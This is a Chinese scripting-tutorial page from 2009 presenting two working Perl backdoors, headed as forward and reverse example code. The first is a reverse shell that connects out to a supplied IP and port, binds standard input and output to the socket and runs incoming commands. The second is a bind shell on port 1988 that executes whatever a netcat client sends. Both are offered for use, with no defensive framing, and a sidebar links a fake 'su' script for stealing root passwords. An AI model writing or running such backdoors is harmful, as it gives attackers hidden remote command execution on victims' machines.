当前位置: 首页 > 图文教程 > 脚本技术 > Perl > perl后门,正向和反向!实例代码

Perl
perl后门,正向和反向!实例代码
Perl模块编写说明
用perl写的单位电脑信息采集程序
冒充su ,perl写的su.pl盗取root密码
perl中5个常见错误
perl 中文处理技巧
只有一行的Perl程序
关于Perl里面正则表达式规范
Perl 获取shell命令的执行结果
Perl ASCII 字符判断
Perl Mysql数据库操作实现代码
PERL 正则表达式详细说明
python 获取命令行参数 函数
Perl5 OOP学习笔记
FTP自动上传文件的脚本以及配置文件
写了个perl的删除程序
perl常问题集合之一
perl常见问题集合之二
不错的mod_perl编程的简单应用实例介绍
[Perl]文字/代码批量替换工具

Perl 中的 perl后门,正向和反向!实例代码


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 164 ::
收藏到网摘: n/a

by 小杰 都是使用nc监听 反向连接代码:
1. #!/usr/bin/perl
2. #usage:
3. #nc -vv -l -p PORT(default 1988) on your local system first,then
4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
6. #nc -vv -l -p 1988
7. #perl backdoor.pl 127.0.0.1 1988
8.
9. #use strict;
10. use Socket;
11. use IO::Socket;
12. use Cwd;
13. use IO::Handle;
14. my $remote = $ARGV[0]|| "127.0.0.1";
15. my $remote_port = $ARGV[1]|| 1988;
16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
17. my $path = cwd();
18. $ARGC = @ARGV;
19. if ($ARGV[0]!~/-/)
20. {
21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
22. STDOUT->autoflush(1);
23. SOCKET->autoflush(1);
24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
25. open STDIN,">&SOCKET";
26. open STDOUT,">&SOCKET";
27. open STDERR,">&SOCKET";
28. print "You are in $path\n";
29. print "Welcome to use.\n";
30. print "console>\n";
31.
32. while (<STDIN>) {
33. chomp;
34. if( lc($_) eq 'exit' ) {
35. print " Bye Bye!";
36. exit;
37. }
38. $msg=system($_);
39. if($msg){
40. print STDOUT "\n$msg\n";
41. print STDOUT "console>";
42. }else
43. {
44. print "console>";
45. }
46. }
47. close SOCKET;
48. exit;
49. }
正向连接代码:
1. #!/usr/bin/perl
2. #ActivePerl 5.8.8 Build 822
3. #usage:
4. #first:perl backdoor2c.pl
5. #second:nc -vv 127.0.0.1 1988
6. #net user
7. #ipconfig /all
8. #netstat -anb
9. use IO::Socket;
10. $port = "1988";
11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' ,
12. 'LocalPort'=>$port ,
13. 'Listen'=>1 ,
14. 'Proto'=>'tcp' ,
15. 'Reuse'=>1 );
16. die "Reason: $!" unless $socket;
17. while (my $new_socket = $socket->accept()) {
18. while (my $buffer=<$new_socket> ){
19. if ($buffer=~/exit/) {exit;}
20. $res_msg=`$buffer`;
21. print $new_socket "$res_msg\ncmd>";
22. }}